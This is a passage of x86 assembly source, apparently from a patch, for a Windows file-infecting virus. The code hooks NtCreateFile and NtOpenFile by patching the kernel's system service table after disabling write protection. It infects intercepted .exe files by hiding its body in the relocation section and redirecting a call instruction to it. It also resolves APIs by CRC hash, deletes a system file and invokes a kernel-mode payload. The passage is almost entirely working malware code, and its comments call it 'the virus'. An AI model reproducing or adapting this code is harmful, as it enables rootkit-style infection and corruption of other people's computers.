ntoskrnl, KeServiceDescriptorTable, +;and this entry is the key for accessing the system service dispatch table where we must +;patch for hooking a service(NtCreateFile for example ;) +;KeServiceDescriptorTable points to a structure like this: +; { +; DWORD ServiceTableBase - pointer to system service dispatch table(SSDT) +; DWORD ServiceCounterTable - not important for us +; DWORD NumberOfServices - number of services in system service dispatch table +; DWORD ParamTableBase - pointer to system service parameter table(SSPT) +; } +; +;We want to get the number of the NtCreateFile service and then we search in this table +;and we patch the address of NtCreateFile rutine with a address of our code + +;;;;;;;;;;;;;;;;;;;;;;;; +;eax = ntoskrnl base +GezApi eax,KeServiceDescriptorTableCRC,KSDTNameLen +mov [ebp + KeServiceDescriptorTable],eax +;;;;;;;;;;;;;;;;;;;;;;;; + +;ill get SSDT from that service descriptor table + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[eax] +mov [ebp + SSDT],eax +;;;;;;;;;;;;;;;;;;;;;;;; + +;now ill get from ntoskrnl the addr of NtCreateFile + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[ebp + Ntoskrnl] +GezApi eax,NtCreateFileCRC,NCFNameLen +mov [ebp + NtCreateFileAddr],eax +;;;;;;;;;;;;;;;;;;;;;;;; + +;Ill get service ID from ZwCreateFile + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[ebp + Ntoskrnl] +GezSyscall eax,ZwCreateFileCRC,ZCFNameLen +;;;;;;;;;;;;;;;;;;;;;;;; + +;now ill search in the SSDT the address of the entry of NtCreateFile where we will hook + +;;;;;;;;;;;;;;;;;;;;;;;; +mov ebx,[ebp + SSDT] +;ebx + eax*4 -> entry +shl eax,2 +add ebx,eax +;ebx -> entry +mov [ebp + NtCreateFileEntryAddr],ebx +;;;;;;;;;;;;;;;;;;;;;;;; + + +;and with NtOpenFile same thing + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[ebp + Ntoskrnl] +GezApi eax,NtOpenFileCRC,NOFNameLen +mov [ebp + NtOpenFileAddr],eax +;;;;;;;;;;;;;;;;;;;;;;;; + + +;Ill get service ID from ZwOpenFile + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[ebp + Ntoskrnl] +GezSyscall eax,ZwOpenFileCRC,ZOFNameLen +;;;;;;;;;;;;;;;;;;;;;;;; + + + +;;;;;;;;;;;;;;;;;;;;;;;; +mov ebx,[ebp + SSDT] +;ebx + eax*4 -> entry +shl eax,2 +add ebx,eax +;ebx -> entry +mov [ebp + NtOpenFileEntryAddr],ebx +;;;;;;;;;;;;;;;;;;;;;;;; + +;We hook NtCreateFile and NtOpenFile + + + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,cr0 ;we set write protect flag to 1, and in this +push eax ;supervision of writing readonly mem is disabled +or eax,00010000h ;We do this for writing SSDT coz is possible (under +mov cr0,eax ;XP is default) SSDT is read only. + ;(Thx Ratter ;) +;;;;;;;;;;;;;;;;;;;;;;;; + + + + +;;; +;Note in the next inst we get the service ID of NtCreateFile and NtOpenFile from Zws funcions +;of them. I got it searching NtCreateFile and NtOpenFile in ntoskrnl and scanning SSDT +;comparing with entrys and when is the same value that is the entry.Ratter said me the problem +;of this: NtOpenFile or NtCreateFile could be previosly hooked and with this method this +;will not work( Thx again Ratter :) + +;;;;;;;;;;;;;;;;;;;;;;;; +mov ebx,[ebp + NtCreateFileEntryAddr] +lea eax,[ebp + NtCreateFileHookRutine] +mov [ebx],eax ;in this moment we HOOK NtCreateFile +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +mov ebx,[ebp + NtOpenFileEntryAddr] +lea eax,[ebp + NtOpenFileHookRutine] +mov [ebx],eax ;in this moment we HOOK NtOpenFile +;;;;;;;;;;;;;;;;;;;;;;;; + + + +;;;;;;;;;;;;;;;;;;;;;;;; +pop eax ;we restore WP flag to original value +mov cr0,eax +;;;;;;;;;;;;;;;;;;;;;;;; + + + +;;;;;;;;;;;;;;;;;;;;;;;; +callz GetApisRing0 ;ill get some apis for no calling all time GezApi +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +callz DeleteWin32ksy ;i must delete win32k.sy if still not deleted +;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;; +callz PayloadRing0 +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +ReturnWin32ksys: +popad +popfd +ret ;previosly i moved entry point adress of win32k.sys at position in stack + ;so this ret will fill eip with start point of win32k.sys +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +NtOpenFileHookRutine: +;;;;;;;;;;;;;;;;;;;;; + +pushfd +pushad + +;;;;;;;;;;;;;;;;;;;;;;;; +callz doff_hookOF ;delta offset +doff_hookOF: +pop ebp +sub ebp,offset doff_hookOF +;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[ebp + NtOpenFileAddr] +mov [ebp + HookRealAddr],eax ;we put the jump to real code of NtOpenFile +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +jmpz GeneralCodeForInfectionRing0 +;;;;;;;;;;;;;;;;;;;;;;;; + + +;NTSTATUS NtOpenFile( +; OUT PHANDLE FileHandle, +; IN ACCESS_MASK DesiredAccess, +; IN POBJECT_ATTRIBUTES ObjectAttributes, +; OUT PIO_STATUS_BLOCK IoStatusBlock, +; IN ULONG ShareAccess, +; IN ULONG OpenOptions +; ); + + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +NtCreateFileHookRutine: + +pushfd +pushad + +;;;;;;;;;;;;;;;;;;;;;;;; +callz doff_hookCF ;delta offset +doff_hookCF: +pop ebp +sub ebp,offset doff_hookCF +;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[ebp + NtCreateFileAddr] +mov [ebp + HookRealAddr],eax ;we put the jump to real code of NtCreateFile +;;;;;;;;;;;;;;;;;;;;;;;; + + +;NTSTATUS NtCreateFile( +; OUT PHANDLE FileHandle, +; IN ACCESS_MASK DesiredAccess, +; IN POBJECT_ATTRIBUTES ObjectAttributes, +; OUT PIO_STATUS_BLOCK IoStatusBlock, +; IN PLARGE_INTEGER AllocationSize OPTIONAL, +; IN ULONG FileAttributes, +; IN ULONG ShareAccess, +; IN ULONG CreateDisposition, +; IN ULONG CreateOptions, +; IN ULONG EaBuffer OPTIONAL, +; IN ULONG EaLength +; ); +; + +;this only for NtCreateFile: + +;;;;;;;;;;;;;;;;;;;;;;;; +;i get some datas from parameters +mov eax,[esp + cPushad + cPushfd + 4 + 14h] +mov [ebp + AttributesFileRing0],eax ;i get the attributes of file +mov eax,[esp + cPushad + cPushfd + 4 + 1ch] +mov [ebp + CreateDispositionFileRing0],eax ;i get manner for opening the file +mov eax,[esp + cPushad + cPushfd + 4 + 20h] +mov [ebp + CreateOptionsFileRing0],eax ;i get some more flags relative +;;;;;;;;;;;;;;;;;;;;;;;; ;to manner of opening the file + + +;;;;;;;;;;;;;;;;;;;;;;;; +;I want a existing file non directory +test dword ptr [ebp + CreateDispositionFileRing0],FILE_OPEN +jz StopInfectionRing0 +;test dword ptr [ebp + CreateOptionsFileRing0],FILE_NON_DIRECTORY_FILE +;jz StopInfectionRing0 +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +;jmpz GeneralCodeForInfectionRing0 +;;;;;;;;;;;;;;;;;;;;;;;; + + + + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +GeneralCodeForInfectionRing0: +;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +callz UnhookWhile ;ill unhook apis while hooking rutine coz for example +;;;;;;;;;;;;;;;;;;;;;;;; ;if we call ZwOpenFile we will go to a infinite loop + + + +;OBJECT_ATTRIBUTES { +; ULONG Length; +; PUNICODE_STRING ObjectName; +; HANDLE RootDirectory; +; PSECURITY_DESCRIPTOR SecurityDescriptor; +; PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService; +; ULONG Attributes; +; } +; +;UNICODE_STRING { +; USHORT Length; ;len in bytes of Buffer +; USHORT MaximumLength; +; PWSTR Buffer; +; } +;note if RootDirectory parameter is null,ObjectName has a fully qualified file specification, +;path+name,but if RootDirectory is non null,then ObjectName has only the name of the object +;relative to RootDirectory directory. +;when we call NtOpenFile we must use both RootDirectory and ObjectName. + + +;;;;;;;;;;;;;;;;;;;;;;;; +;Ill get the file name of the file i want to infect +mov edi,[esp + cPushad + cPushfd + 4 + 8] ;edi -> ObjectAttributes +mov eax,[edi + 4] ;eax = RootDirectory +mov [ebp + RootDirectoryRing0],eax +mov esi,[edi + 8] ;esi -> unicode string of the name +mov eax,[esi] +mov dword ptr [ebp + FileNameRing0],eax +lea edi,[ebp + StringRing0] ;edi -> our buffer for unicode string of name +mov dword ptr [ebp + FileNameRing0 + 4],edi +movzx ecx,word ptr [esi] ;ecx = long of unicode string +mov esi,[esi + 4] +rep movsb ;i copy the buffer +;;;;;;;;;;;;;;;;;;;;;;;; + + + +;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv |quitar esto| vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv +movzx ecx,word ptr [ebp + FileNameRing0] +mov eax,dword ptr [ebp + FileNameRing0 + 4] +add eax,ecx +dec eax +dec eax +cmp byte ptr [eax],'e' +jne StopInfectionRing0 +dec eax +dec eax +cmp byte ptr [eax],'x' +jne StopInfectionRing0 +dec eax +dec eax +cmp byte ptr [eax],'e' +jne StopInfectionRing0 +dec eax +dec eax +cmp byte ptr [eax],'.' +jne StopInfectionRing0 +dec eax +dec eax +cmp byte ptr [eax],'z' +jne StopInfectionRing0 +dec eax +dec eax +cmp byte ptr [eax],'z' +jne StopInfectionRing0 +dec eax +dec eax +cmp byte ptr [eax],'z' +jne StopInfectionRing0 +;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ |quitar esto| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + + + +;;;;;;;;;;;;;;;;;;;;;;;; +movzx ecx,word ptr [ebp + FileNameRing0] ;I test if file is a .exe file +mov eax,dword ptr [ebp + FileNameRing0 + 4] +add eax,ecx +dec eax +dec eax +or byte ptr [eax],20h +cmp byte ptr [eax],'e' +jne StopInfectionRing0 +dec eax +dec eax +or byte ptr [eax],20h +cmp byte ptr [eax],'x' +jne StopInfectionRing0 +dec eax +dec eax +or byte ptr [eax],20h +cmp byte ptr [eax],'e' +jne StopInfectionRing0 +dec eax +dec eax +cmp byte ptr [eax],'.' +jne StopInfectionRing0 +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +callz MapFileRing0 ;map the file for infection ;) +or eax,eax +jz StopInfectionRing0 +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +mov ebx,eax +;ebx = Base of Mapped File +cmp word ptr [ebx],'ZM' +jne CloseAndStopInfectionRing0 +mov edi,[ebx + 3ch] +add edi,ebx +;edi -> PE +cmp word ptr [edi],'EP' +jne CloseAndStopInfectionRing0 +cmp word ptr [edi + 8],'zs' +je CloseAndStopInfectionRing0 ;is it already infected? +mov ax,word ptr [edi + 16h] +test ax,00000002h ;yes IMAGE_FILE_EXECUTABLE_IMAGE +je CloseAndStopInfectionRing0 +test ax,00001000h ;no IMAGE_FILE_SYSTEM +jne CloseAndStopInfectionRing0 +test ax,00002000h ;no IMAGE_FILE_DLL +jne CloseAndStopInfectionRing0 +mov ax,[edi + 5ch] +test ax,00000001h ;no IMAGE_SUBSYSTEM_NATIVE +jne CloseAndStopInfectionRing0 + +;ebx->MZ +;edi->PE +;;;;;;;;;;;;;;;;;;;;;;;; +;we will search EPoint of file +mov edx,[edi + 28h] +;edx = RVA epoint,we need the pointer to raw data +movzx ecx,word ptr [edi + 6] +mov eax,edi +add eax,0F8h-28h ;sections +inc ecx +GoToSectionEPointInfectionRing0: +dec ecx +or ecx,ecx +jz CloseAndStopInfectionRing0 +add eax,28h +cmp dword ptr [eax.IMAGE_SECTION_HEADER.SH_VirtualAddress],edx +jnle GoToSectionEPointInfectionRing0 +mov esi,dword ptr [eax.IMAGE_SECTION_HEADER.SH_VirtualAddress] +add esi,dword ptr [eax.IMAGE_SECTION_HEADER.SH_SizeOfRawData] +cmp edx,esi +jnl GoToSectionEPointInfectionRing0 +;eax->.text section header +mov dword ptr [ebp + textSecHeader],eax +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +;now we will search relocs section +mov edx,[edi.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_DirectoryEntries.DE_BaseReloc.DD_VirtualAddress] +movzx ecx,word ptr [edi + 6] +mov eax,edi +add eax,0F8h-28h ;sections +inc ecx +GoToSectionRelocInfectionRing0: +dec ecx +or ecx,ecx +jz CloseAndStopInfectionRing0 +add eax,28h +cmp dword ptr [eax.IMAGE_SECTION_HEADER.SH_VirtualAddress],edx +jnle GoToSectionRelocInfectionRing0 +mov esi,dword ptr [eax.IMAGE_SECTION_HEADER.SH_VirtualAddress] +add esi,dword ptr [eax.IMAGE_SECTION_HEADER.SH_SizeOfRawData] +cmp edx,esi +jnl GoToSectionRelocInfectionRing0 +;eax->.reloc section header +mov dword ptr [ebp + relocSecHeader],eax +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +;ebx->MZ +;edi->PE +mov [ebp + HostMZ],ebx +mov [ebp + HostPE],edi +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +;Getting a offset for the virus +mov eax,[eax.IMAGE_SECTION_HEADER.SH_SizeOfRawData] +push eax +call randRing0 +;eax = rand value 0...(size of reloc section)/2 +pop edx +sub edx,eax ;edx = size for vx +cmp edx,tamvirus +jb CloseAndStopInfectionRing0 +mov edx,[ebp + relocSecHeader] +mov edx,[edx.IMAGE_SECTION_HEADER.SH_PointerToRawData] +add edx,eax +mov [ebp + OffsetVirus],edx ;we will put the virus in reloc section + rand value +;;;;;;;;;;;;;;;;;;;;;;;; + + + +;;;;;;;;;;;;;;;;;;;;;;;; +;Getting RVA virus +mov ebx,[ebp + relocSecHeader] +mov edx,[ebx.IMAGE_SECTION_HEADER.SH_PointerToRawData] +mov eax,[ebx.IMAGE_SECTION_HEADER.SH_VirtualAddress] +sub eax,edx +mov edx,[ebp + OffsetVirus] +add edx,eax +mov [ebp + RVAVirus],edx +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +;Erasing RVA and size in data directory for relocs +mov edi,[ebp + HostPE] +mov dword ptr [edi.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_DirectoryEntries.DE_BaseReloc.DD_VirtualAddress],00000000h +mov dword ptr [edi.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_DirectoryEntries.DE_BaseReloc.DD_Size],00000000h +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[ebp + textSecHeader] +mov edx,[eax.IMAGE_SECTION_HEADER.SH_PointerToRawData] +push edx +mov eax,[eax.IMAGE_SECTION_HEADER.SH_SizeOfRawData] +add edx,eax +add edx,dword ptr [ebp + HostMZ] +mov [ebp + TextSecEnd],edx +call randRing0 +pop edx +;edx = PointerToRawData Text Section +;eax = rand value 0...SizeOfRawData/2 +add edx,eax +add edx,dword ptr [ebp + HostMZ] +;;;;;;;;;;;;;;;;;;;;;;;; + + +;Super's Theory: +; +; When u jump a random number of bytes in a buffer of code its possible u will +; jump to a zone between instruction. For example: E8 11 22 33 44 its possible +; in a random jump you will stay pointing 11 or 22 instead instruction opcode E8. +; but its possible redrive ur pointer to opcodes doing a route over the code +; getting instruction lengths and adding them to your pointer, 16 times at max. +; Then u will be in opcodes sure. + +;edx = pointer + +;;;;;;;;;;;;;;;;;;;;;;;; +lea eax,[ebp + tbl] +push eax +call disasm_init +pop eax;clean stack + +RedrivePointer: + +inc edx +mov eax,dword ptr [ebp + TextSecEnd] +sub eax,50 +cmp eax,edx +jl CloseAndStopInfectionRing0 +mov ecx,16 + +goodInsContinue: +push edx +lea eax,[ebp + tbl] +push eax +call disasm_main +pop esi +pop esi +add edx,eax +or eax,eax +jz RedrivePointer +mov eax,dword ptr [ebp + TextSecEnd] +sub eax,50 +cmp eax,edx +jl CloseAndStopInfectionRing0 +loop goodInsContinue +;;;;;;;;;;;;;;;;;;;;;;;; + + +;well,if all was as we want,we are pointing to a good opcode + +;;;;;;;;;;;;;;;;;;;;;;;; +mov ebx,edx +call SearchCall +or eax,eax +jz CloseAndStopInfectionRing0 +;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;; +;ebx -> E8 XX XX XX XX +;the VA of the call is ebx + 5 + (XX XX XX XX) + +mov edx,[ebp + textSecHeader] +mov eax,[edx.IMAGE_SECTION_HEADER.SH_VirtualAddress] +sub eax,[edx.IMAGE_SECTION_HEADER.SH_PointerToRawData] +add eax,ebx +sub eax,[ebp + HostMZ] +;eax RVA of E8 XX XX XX XX +push eax +add eax,[ebx + 1] +add eax,5 + +;eax = RVA of call pointing addr +;we will put in EntryPoint variable the VA of the call. When ring3 part of virus returned +;to host it will jmp to the content of this variable. + +mov edi,[ebp + HostPE] +add eax,[edi.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_ImageBase] +;eax=VA of call pointing addr +mov [ebp + EntryPoint],eax + +pop eax +;eax RVA of E8 XX XX XX XX +mov edx,[ebp + RVAVirus] +add eax,5 +sub edx,eax +;we patch the call for pointing our code +mov [ebx+1],edx +;if all well,the call is calling the virus,and the virus will pass the control where the +;call was calling before patching...EPO +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +;the virus will be writed in the host,at offset = OffsetVirus +;we must search a call for patching with a call to virus +mov edx,[ebp + HostMZ] ;MZ +mov ebx,[ebp + HostPE] ;PE +mov edi,edx +add edi,[ebp + OffsetVirus] +lea esi,[ebp + svirus] +mov ecx,tamvirus +rep movsb +mov word ptr [ebx + 8],'zs' +;;;;;;;;;;;;;;;;;;;;;;;; + + + +;;;;;;;;;;;;;;;;;;;;;;;; +CloseAndStopInfectionRing0: ;close and bye +callz CloseAllRing0 +;;;;;;;;;;;;;;;;;;;;;;;; + + + +;;;;;;;;;;;;;;;;;;;;;;;; +StopInfectionRing0: +callz RehookAgain +popad +popfd +push 12345678h +HookRealAddr = dword ptr $ - 4 +ret +;;;;;;;;;;;;;;;;;;;;;;;; + + +textSecHeader dd 0 +relocSecHeader dd 0 +relocRVA dd 0 +OffsetVirus dd 0 +HostMZ dd 0 +HostPE dd 0 +RVAVirus dd 0 +TextSecEnd dd 0 + +;;;;;;;;;;;;;;;;;;;;;;;; +;randRing0: this funcion will generate a ramdom number gived a size +;parameters: +; eax = size The number will be generated 0...size +randRing0: +push eax +mov eax,[ebp + Ntoskrnl] +GezApi eax,KeQueryTickCountCRC,KQTCNameLen +lea ebx,[ebp + randvalue] +push ebx +call eax +mov edx,[ebp + randvalue] +pop eax +;eax = size +;edx = TickCount +and edx,000000FFh +mov ecx,edx +shl ecx,8 +or edx,ecx +mov ecx,edx +shl ecx,16 +or edx,ecx +and edx,eax +cmp edx,eax +jg randRing0 +mov eax,edx +shr eax,1 +ret +randvalue dd 0 +;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;; +;randRing3: this funcion will generate a ramdom number gived a size +;parameters: +; eax = size The number will be generated 0...size +randRing3: +push eax +mov eax,[ebp + NtKernel] +GezApi eax,GetTickCountCRC,GTCNameLen +call eax +mov edx,eax +pop eax +;eax = size +;edx = TickCount +and edx,000000FFh +mov ecx,edx +shl ecx,8 +or edx,ecx +mov ecx,edx +shl ecx,16 +or edx,ecx +and edx,eax +cmp edx,eax +jg randRing3 +mov eax,edx +shr eax,1 +ret +;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + ;;;;;;;;FUNCTIONS;;;;;;;;;;;;; + ;;;;;;;;FUNCTIONS;;;;;;;;;;;;; + ;;;;;;;;FUNCTIONS;;;;;;;;;;;;; + ;;;;;;;;FUNCTIONS;;;;;;;;;;;;; + ;;;;;;;;FUNCTIONS;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;SECOND VERSION IMPROVEMENT: we will add zombie length disassembler engine for getting +;a good EPO infection :D (thx z0mbie...we didnt say u if we could to use your lde but +;we thought this is a good purpose so you would be agree ;) + +include lde32bin.inc ; LDE32 code + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;SearchCall: this function will search a call instruction given a buffer with code. +;in:ebx->buffer with code +; +;The function will return eax = 0 if error +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +SearchCall: + +lea esi,[ebp + tbl] +push esi +call disasm_init +pop esi;clean stack +xor eax,eax + +LoopSearchCall: +inc eax +or eax,eax +jz FoundCall +cmp byte ptr [ebx],0E8h +je FoundCall +push ebx +lea esi,[ebp + tbl] +push esi +call disasm_main +pop esi +pop esi +add ebx,eax +jmp LoopSearchCall +FoundCall: +ret + +tbl db 2048 dup (?) + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +; +;CRC32 rutine(from Billy Belcebu tutorial)...i have not said him nothing about i have take +;his rutine but i dont know him...in addition i have seen this rutine in other viruses +;so i think he doesnt go angry if i use it :) +; +;in:esi -> start of buffer +; edi = size of buffer +;out: +; eax = cksum +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +CRC32: + + cld + xor ecx,ecx + dec ecx + mov edx,ecx +NextByteCRC: + xor eax,eax + xor ebx,ebx + lodsb + xor al,cl + mov cl,ch + mov ch,dl + mov dl,dh + mov dh,8 +NextBitCRC: + shr bx,1 + rcr ax,1 + jnc NoCRC + xor ax,08320h + xor bx,0EDB8h +NoCRC: + dec dh + jnz NextBitCRC + xor ecx,eax + xor edx,ebx + dec edi + jnz NextByteCRC + not edx + not ecx + mov eax,edx + rol eax,16 + mov ax,cx + ret +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + + + + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +; +;GetApi gets a api address from its crc. +;in: +; eax -> base of dll +; edx = the crc32 of api to search. +; ebx = api name len. +;out: +; eax -> function +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +GetApi: + +;eax -> base of dll +;ebx = len api name +;edx = crc of api name +push ebx ecx edx esi edi +push eax +mov eax,[eax + 3ch] +add eax,dword ptr [esp] +;eax -> PE +mov eax,[eax + 78h] +add eax,dword ptr [esp] +;eax -> Export table +push eax +push ebx +mov ebx,[eax + 20h] +add ebx,dword ptr [esp + 8] +;ebx -> Name of functions +push ebx +sub ebx,4 +SearchApiByCRC: +add ebx,4 +mov esi,[ebx] +add esi,dword ptr [esp + 12] +CalcLenString +;ecx = length api.name +mov edi,[esp + 4] +cmp edi,ecx +jne SearchApiByCRC +mov edi,ecx +push ebx +push edx +callz CRC32 +pop edx +pop ebx +cmp eax,edx +jne SearchApiByCRC +pop edi +;edi -> name of functions +;ebx -> name of functions + (index of our api * 4) +sub ebx,edi +mov eax,ebx +xor edx,edx +mov ebx,4 +div ebx +;eax = index of our api +pop ebx +pop ebx +;ebx -> export +mov ecx,[ebx + 24h] +add ecx,dword ptr [esp] +;ecx -> name ordinals +rol eax,1 +add ecx,eax +mov ecx,[ecx] +shr ecx,10h +dec ecx +;ecx = ordinal +mov eax,[ebx + 1ch] +add eax,dword ptr [esp] +;eax -> address of functions +rol ecx,2 +add eax,ecx +mov eax,[eax] +add eax,dword ptr [esp] +;eax = address of function searched +pop ebx +pop edi edi edx ecx ebx +ret +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +; +;UnprotectMem sets as writable zone since esi to esi + ecx in ebx process. +;in: +; eax -> base of kernel +; esi -> dir of memory that will be writable. +; ecx -> bytes of that memory. +; ebx -> handle of the process where is the memory.If 0 this process +; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +UnprotectMem: + +or ebx,ebx +jne NoThisProcess +push eax +push esi +push ecx +GezApi eax,GetCurrentProcessCRC,GCPNameLen +;eax -> GetCurrentProcess +call eax +;eax = hand of this process +mov ebx,eax +pop ecx +pop esi +pop eax +NoThisProcess: +push ebx +push esi +push ecx +GezApi eax,VirtualProtectExCRC,VPNameLen +;eax -> VirtualProtectEx +pop ecx +pop esi +pop ebx +;ebx = hand of process +;esi = dir +;ecx = nbytes +push eax ;space for receiving lpflOldProtect out parameter +push esp +push PAGE_EXECUTE_READWRITE +push ecx +push esi +push ebx +call eax +pop eax ;we remove space that we reserve in the stack for out parameter +ret + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;GetLibrarys and FreeLibrarys get and free some librarys :P +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +GetLibrarys: + +pushad + +;first,ill try to get ntdll base from PEB structure + +mov eax,dword ptr fs:[30h] ;PEB pointer +mov eax,dword ptr [eax + 0ch] ;PEB_LDR_DATA +mov eax,dword ptr [eax + 1ch] ;LIST_ENTRY +mov eax,dword ptr [eax + 8h] ;ntdll.dll base +mov [ebp + Ntdll],eax + +mov eax,[ebp + NtKernel] +GezApi eax,LoadLibraryACRC,LLNameLen +push eax +lea ebx,[ebp + advapi] +push ebx +call eax +mov [ebp + NtAdvapi],eax +lea ebx,[ebp + psapi] +push ebx +call dword ptr [esp + 4] +mov [ebp + NtPsapi],eax +lea ebx,[ebp + rasapi] +push ebx +call dword ptr [esp + 4] +mov [ebp + NtRasapi],eax +lea ebx,[ebp + imagehlp] +push ebx +call dword ptr [esp + 4] +mov [ebp + NtImagehlp],eax +pop eax +popad +ret +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +FreeLibrarys: + +pushad +mov eax,[ebp + NtKernel] +GezApi eax,FreeLibraryCRC,FLNameLen +push eax +push dword ptr [ebp + NtAdvapi] +call dword ptr [esp + 4] +push dword ptr [ebp + NtPsapi] 